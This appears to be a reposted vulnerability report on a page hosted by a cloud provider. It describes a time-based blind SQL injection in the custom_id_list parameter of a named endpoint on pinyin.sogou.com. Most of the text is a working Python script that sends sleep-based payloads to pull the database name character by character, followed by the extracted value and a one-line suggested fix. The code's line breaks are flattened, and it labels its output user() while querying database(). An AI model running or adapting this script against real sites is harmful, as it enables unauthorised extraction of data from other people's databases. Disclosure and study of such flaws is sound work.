Sogou SQL injection 2: MySQL injection on pinyin.sogou.com

Source: Internet
Author: User
Tags mysql injection

Sogou SQL injection 2: MySQL injection on pinyin.sogou.com

Second, MySQL injection on pinyin.sogu.com

 

The injection point is located:

_____________________________________________________________

POST http://pinyin.sogou.com/dict/ywz/ajax/make_dict.php



Custom_id_list = if (0, sleep (1), 0) & ywz_id_list = 427

_____________________________________________________________

The custom_id_list parameter is not filtered and can be injected.

Several lines of python scripts to explain user ():
 

import httplibimport timeimport stringimport sysimport randomimport urllibheaders = {    'Content-Type':'application/x-www-form-urlencoded',    'Cookie': '',    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',}payloads = list(string.ascii_lowercase)payloads += list(string.ascii_uppercase)for i in range(0,10):    payloads.append(str(i))payloads += ['@','_', '.']print 'Current user() is:'user = ''for i in range(1,24,1):    for payload in payloads:        try:            conn = httplib.HTTPConnection('pinyin.sogou.com', timeout=10)            rand_num = str(random.random())            url = '/dict/ywz/ajax/make_dict.php'            start_time = time.time()            conn.request(method='POST',                         url=url,                         body='custom_id_list=if(ascii(mid(database(),%s,1))=%s,sleep(1),0)&ywz_id_list=427' % (i, ord(payload)),                         headers = headers)            html_doc = conn.getresponse().read()            conn.close()            if time.time() - start_time > 5:                raise Exception('timeout')        except:            user += payload            sys.stdout.write( user + '\r' )            sys.stdout.flush()            break


 

User (): dict_4_1_3
 

 

Solution:

Parameter filtering and necessary escape

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.